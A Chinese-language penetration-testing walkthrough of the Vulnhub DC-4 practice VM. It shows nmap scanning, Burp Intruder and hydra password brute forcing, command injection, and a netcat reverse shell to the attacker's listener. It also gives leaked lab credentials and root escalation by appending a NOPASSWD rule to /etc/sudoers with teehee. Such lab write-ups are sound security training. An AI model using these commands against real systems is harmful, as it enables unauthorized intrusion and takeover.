基于Vulnhub靶场—DC4渗透测试过程

简介: Vulhub是一个开源项目,专注于安全漏洞的复现和学习。包括Web应用、容器和操作系统漏洞。项目特点包括丰富的漏洞场景、详细的复现指南、便捷的环境部署和持续更新。通过Vulhub,安全从业者可以学习和研究漏洞利用技术。此外,文章还介绍了如何下载和搭建Vulhub靶机DC-4,并详细描述了利用Burp Suite进行密码爆破和命令执行,最终获取root权限的过程。

Vulhub靶场介绍:

Vulhub是一个专注于安全漏洞复现与学习的开源项目,它提供了一系列常见漏洞的复现环境,帮助安全从业者学习和研究漏洞利用技术。这些复现环境包括但不限于Web应用、容器、操作系统等。

Vulhub的特点包括:

  1. 丰富的漏洞场景: Vulhub涵盖了多种常见的漏洞场景,包括Web应用漏洞(如SQL注入、XSS等)、容器漏洞(如Docker安全配置)、操作系统漏洞等。
  2. 详细的漏洞复现指南: 对于每个漏洞场景,Vulhub提供了详细的漏洞复现指南,包括环境搭建、漏洞利用过程等步骤,方便用户学习和实践。
  3. 易于使用的环境搭建: Vulhub提供了一键部署或Docker镜像的方式,使用户可以快速搭建漏洞复现环境,节省了配置环境的时间。
  4. 持续更新与维护: Vulhub项目在GitHub上开源,得到了全球安全社区的贡献与反馈,保持了良好的更新与维护。

总的来说,Vulhub为安全从业者提供了一个学习漏洞利用技术的良好平台,帮助他们提升安全意识和技能。

Vulnhub靶机下载:

官网下载地址:https://download.vulnhub.com/dc/DC-4.zip

Vulnhub靶机环境搭建:

下载压缩包之后解压,然后使用VMware 或者Oracle打开打开即可

Vulnhub靶机DC-4渗透过程:

01 靶机信息收集:

靶机与kali网络模式均为nat模式

一、使用nmap工具发现靶机IP地址:

nmap -sn IP号段

渗透机 Kali IP:192.168.220.136

靶机DC-4 IP:192.168.220.137&192.168.94.185

二、端口扫描:

nmap -sV -A -n 192.168.220.137

通过端口扫描发现开放了22、80端口,通过对22端口进行弱口令或爆破无果后更换思路,访问80端口发现以下页面:

02 靶机渗透测试

对于上述页面通过弱口令、sql万能密码、sqlmap爆破均无所获,那么最后使用我们的密码爆破

用户名可根据我们经验推测出为admin,那么密码使用burpsuite进行密码爆破

抓包发送至intruder进行密码爆破

burpsuite中intruder介绍:

Burp Suite中的Intruder是一种高级的漏洞利用工具,主要用于自动化攻击和检测Web应用程序中的各种漏洞,如SQL注入、XSS、CSRF等。它提供了多种攻击模式和高度可定制的选项,使安全测试人员能够更有效地发现和利用潜在的漏洞。

Intruder的主要特点包括:

  1. 攻击模式:Intruder提供了多种攻击模式,包括:Cluster Bomb、Pitchfork、Battering Ram和Greedy,每种模式都有不同的用途和优势。
  2. Payloads:用户可以自定义各种Payloads(负载)来进行攻击,如数字范围、字典、自定义字符串等。这些Payloads可以用于测试参数的不同输入,以发现漏洞。
  3. 位置标记:用户可以使用特殊的标记将Payloads插入到HTTP请求的不同位置,例如GET参数、POST参数、请求头、Cookie等。
  4. 自动化:Intruder能够自动化地发送大量的HTTP请求,然后根据响应的结果来分析和识别可能存在的漏洞。
  5. 结果分析:Intruder能够将攻击结果进行整理和分类,方便用户进行漏洞分析和报告撰写。

在使用Intruder时,用户首先需要配置目标的URL和参数,然后选择适当的攻击模式和Payloads,并启动攻击。最后,用户可以根据攻击结果来分析漏洞,并采取进一步的行动,如修复漏洞或者进一步深入攻击。

将密码设置为变量,使用字典为kali中 /usr/share/wordlists/rockyou.txt进行批量爆破

通过少许时间之后爆破成功,密码为:happy

登录成功之后发现存在三个选项,点击run后发现执行了一个命令执行

猜测存在命令执行,尝试反弹shell

kali开始监听

nv -lvnp 4444

生成反弹shell 使用+好拼接:

nc+-e+/bin/sh+192.168.94.134+4444

成功反弹shell至kali当中,使用Python生成一个标准交互式shell

python -c 'import pty;pty.spawn("/bin/sh")'

03 权限提升

'cat /etc/passwd 发现三个可疑用户:charles、jim、sam

回到/home目录当中发现了对应三个用户的目录,并且在jim目录当中的backups目录下发现了密码备份bak文件

直接使用old-passwords.bak里面的密码开始爆破,爆破密码出 jim:jibril04

hydra -l jim -P passwords.txt ssh://192.168.94.185 -vV

在/var/mail目录当中发现了Charles发给jim的邮件,也发现了Charles的密码:Charles:^xHhA&hvim0y

那么在jim用户下就没有什么其他有价值的东西了,于是掉转矛头向Charles

尝试查看是否具有sudo的权限:sudo -l 从而发现有teehee执行权限

发现-a 参数可以写入文件

teehee提权是使用teehee -a 把一个账号密码写入到etc/passwd中,这个用户具有root权限,再切换到这个用户即可

echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers

这条命令的意思在于(个人理解):允许用户charles在执行sudo命令时候无需输入密码,利用echo打印出sudo权限规则的文本,并将其追写到/etc/sudoers文件当中。这样就允许用户Charles在执行sudo命令时无需输入密码即可执行sudo命令。

详细官方解释:

echo ‘charles ALL=(ALL:ALL) NOPASSWD:ALL’: echo 命令用于向标准输出打印文本。此处的文本是 ‘charles ALL=(ALL:ALL) NOPASSWD:ALL’,它定义了一个 sudo 权限规则。

charles: 这是用户名,在这个例子中是指定的用户。

ALL=(ALL:ALL): 这部分规定了 charles 用户可以以任何用户身份和组执行任何命令。

NOPASSWD:ALL: 这部分规定了 charles 用户在执行 sudo 命令时无需输入密码。

|: 这是管道符号,用于将 echo 命令的输出传递给下一个命令。

sudo teehee -a /etc/sudoers:sudo 是一个授权用户执行特权命令的工具。teehee 命令用于从标准输入读取数据,并将其写入文件。-a 参数表示追加写入。

/etc/sudoers: 这是一个特殊的文件,用于配置 sudo 的权限规则。只有具有适当权限的用户才能修改此文件。

sudo su 切换root权限

  • sudo:它允许普通用户在不切换到root用户的情况下执行以其他用户权限运行的命令(默认是root权限)。使用sudo可以提供一定的安全性,因为只有授权的用户才能执行特定的命令。
  • su:用于切换用户身份。默认情况下,如果不指定用户,则su命令会切换到root用户。

最后查看flag.txt

04 渗透过程中的总结:

在爆破密码时候,我们会用到old-password.bak中的密码,那么我们可以使用

python2 -m SimpleHTTPServer 8090

使用Python快速搭建一个http服务,从中下载bak文件,在使用cp old-password.bak password.txt,将old-password.bak中的密码复制到password.txt当中。如果大家还有其他方法可以在评论区告知!!!

目录
相关文章
|
1月前
|
安全 Linux 网络安全
Neos的渗透测试靶机练习——DC-3
Neos的渗透测试靶机练习——DC-3
31 4
|
1月前
|
安全 Shell 网络安全
Neos的渗透测试靶机练习——DC-1
Neos的渗透测试靶机练习——DC-1
37 4
|
2月前
|
安全 中间件 Shell
渗透测试-靶机DC-2-知识点总结
渗透测试-靶机DC-2-知识点总结
37 0
|
2月前
|
安全 网络协议 Shell
渗透测试-靶机DC-1-知识点总结
渗透测试-靶机DC-1-知识点总结
43 0
|
6月前
探讨AC/DC电源模块的可靠性设计和测试方法
探讨AC/DC电源模块的可靠性设计和测试方法
探讨AC/DC电源模块的可靠性设计和测试方法
|
6月前
BOSHIDA AC/DC电源模块的可靠性设计与测试方法
BOSHIDA AC/DC电源模块的可靠性设计与测试方法
BOSHIDA  AC/DC电源模块的可靠性设计与测试方法
|
6月前
|
安全 Shell Linux
记录VulnHub 靶场——Escalate_Linux渗透测试过程
本文档描述了一次靶场环境的搭建和渗透测试过程。首先,提供了靶机环境的下载链接,并建议在VMware或VirtualBox中以NAT模式或仅主机模式导入。接着,通过Kali Linux扫描发现靶机IP,并用Nmap扫描开放端口,识别出80、111、139、445、2049等端口。在80端口上找到一个shell.php文件,通过它发现可以利用GET参数传递cmd命令。
159 0
|
1月前
|
安全 网络安全
Kali渗透测试:使用Armitage扫描网络
Kali渗透测试:使用Armitage扫描网络
|
1月前
|
安全 Linux 网络安全
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)
|
1月前
|
Python Windows 网络安全
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)
下一篇
无影云桌面